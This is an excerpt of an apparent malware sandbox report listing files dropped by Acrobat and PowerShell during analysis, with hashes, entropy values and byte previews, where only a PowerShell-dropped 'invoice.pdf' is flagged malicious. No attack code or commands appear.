Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5c865ec8333291fe196e67c03600e6b6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736562526000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ce6f7480c9fcd6ad3fda3243ac882196","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736562526000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b3abb8b6bc9173683544781070e422cd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736562526000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"34b819c8adcbd8aedae57693e200bbf2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736562526000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6bbc967c68d17b0cd1107dfd857ecc52","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736562526000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f0fb40c105ccefa1a814f123528f06bf","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9989465993662997
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/DFYeHpcYuVJi3af8afT+XYHF:TGufl2GL7msvgOFYeJcYuXiqDr+XYl
MD5:	324E7B46578E81AC196E82FF3E66045A
SHA1:	241BCD5FF0344A02A820B1D7EC80CBB59F0FD17A
SHA-256:	F971C30582D413DC86DC7D624427498E45B47751455FA9EBD400CCEFFA04B73D
SHA-512:	3B0D1F18403D830D13DD2C8FAB12698A55E7DF9B00326F015644A1D7CAB10855264F5DBA4F106770446125E5761118046FF260CEB1201154B70B5796EA8127D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3584446618357464
Encrypted:	false
SSDEEP:	24:7+t0X1RZKHs/Ds/SpqHpcYuVJi3af8afT+XYH+qLhx/XYKQvGJF7ursC:7MigOVpqJcYuXiqDr+XYeqFl2GL7msC
MD5:	484893519705F43ECCAA55BFD71D0B17
SHA1:	7FC86F7DC4C0535D50E485E4B75D78043D8253DB
SHA-256:	93727054A5658D570096CF3B5DA13AA8A4642C92D8AB0A0793E5AD59E21CCEDB
SHA-512:	FAF2DE0A1F9ACFEF34F456F3AEBA257427E81891D9365D9BEE9500FE3160FEE3583C3EF6A7981964D2C197D6185D51AE9830C7D5A9FFBFB4027B4AABD70BC196
Malicious:	false
Preview:	.... .c.....s.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg44PTPdKP1bt9su0haU+njacGZYyu:6a6TZ44ADE44PbAPx/sthhZK
MD5:	A3BA34C7C9C057A6C086C4BCC5B0F186
SHA1:	E17DEBF8B2B87180B6331090B409389AA141AE9B
SHA-256:	CB8115A9EAF536B62FDCC762130DBFCB3013B644789AE968A5292F51C866FFF7
SHA-512:	19474A55ACC2BC6E80D63A79BB9997153B79154FAAF7CE47E06C47D32F1756A0E3D9221A75800811068DBE13FE453CA38E4A4D4C23B1AAD3B09EB707FD341D92
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIa293c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5178552411299933
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCls+e:Qw946cPbiOxDlbYnuRK+bZ
MD5:	18CF4F411007024B4451BAD4F11D01A5
SHA1:	918BB33C0AF2522C5D4407CF213C033B24A29936
SHA-256:	41D763CFB1BB6E460D927E1D4EB1A4F39E8E62395AC514EE251600802E38D8AA
SHA-512:	3440D9FF87E42515168E0FFA9C2034A575B75D2D2DA91C8B37B13649B95D52305FAF3A30A85866A44DFB2ADB61EC5E2FC5AFF5B4F7B7CA4C1844C6102B4087C5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.2.8.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2layt2vb.qyj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcozf1qf.smo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91r0f510_1klpucg_51g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A97pundd_1klpucf_51g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-28-41-467.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.3635624253621295
Encrypted:	false
SSDEEP:	384:CGKDK63A46N17gTCkqtCl7GPPEnYXZlbADhV3LnM1bYzVCzbL0zUJ+JAxesu/+e6:fKU
MD5:	54769E60F67D7B9D6F9F644266D9040F
SHA1:	B56CAC106DE32077A422AC93266ABF8818DF7DEA
SHA-256:	C2B65C1F42508CDFDD904E5774D16E595A959290C5DB8012F4C89BA7DBD4BDF1
SHA-512:	50B5078772E404DFAE4F614471BBE94B0676288FDC571B928BC3D4BB77015FB90D1F92A454B783CB1AACDCBBA653E435E8D36EE4328375D9CA66A39451BC3790
Malicious:	false
Preview:	SessionID=0d6ab042-a264-4738-bc1f-2caf53b2c9af.1736562521556 Timestamp=2025-01-10T21:28:41:556-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0d6ab042-a264-4738-bc1f-2caf53b2c9af.1736562521556 Timestamp=2025-01-10T21:28:41:572-0500 ThreadID=7688 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0d6ab042-a264-4738-bc1f-2caf53b2c9af.1736562521556 Timestamp=2025-01-10T21:28:41:572-0500 ThreadID=7688 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0d6ab042-a264-4738-bc1f-2caf53b2c9af.1736562521556 Timestamp=2025-01-10T21:28:41:572-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0d6ab042-a264-4738-bc1f-2caf53b2c9af.1736562521556 Timestamp=2025-01-10T21:28:41:572-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3981365610515235
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb8:N2
MD5:	E41DD01461A8CFE5AE7AF2A5DF1EAA8A
SHA1:	BB45294DE566B3A39ADA0C218B6978C826AE6EED
SHA-256:	A0AA81D45DC1A933C8D1E63F1CC75DF31D4AA739754738754749BD829836284E
SHA-512:	34F9929F0E593DC974562C066EEDCCA4E35C7D25F9F86852E6C463B7D3A3324F28CD824AB2C9E85623A247C60E25B60D0E1C783865786E7D9DAB48CA52379844
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\02edd568-a01a-4c3c-87b0-278086465c44.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\234a9a6d-e283-4f99-bfd4-46fe80c78900.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\284863d7-296f-4556-9ed4-2bd662788d32.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d4480f82-16bf-46a4-9f22-6b1a1a501d88.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6D0WL07oDGZswYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:c0WLxDGZswZGh3mlind9i4ufFXpAXkru
MD5:	585EFF39D9FEF7183354805AFC2389B2
SHA1:	4D8B1386D70227DC30C7B4AF0F1053E5ABFF4F23
SHA-256:	E901E0C2BCDF07BB5AF8DC0DDF23CB297BDD05EC1D1FB7FF867F7D25E59CFCF2
SHA-512:	E61921615AB814A84E2A4FFCCBFB8D2CBB5BBAEE3FE5632BCD9BF585AF407CE476B8A68BE0AB89259275223F6D1B21B73648BB8DE6683A118DA634EE31C9C00F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
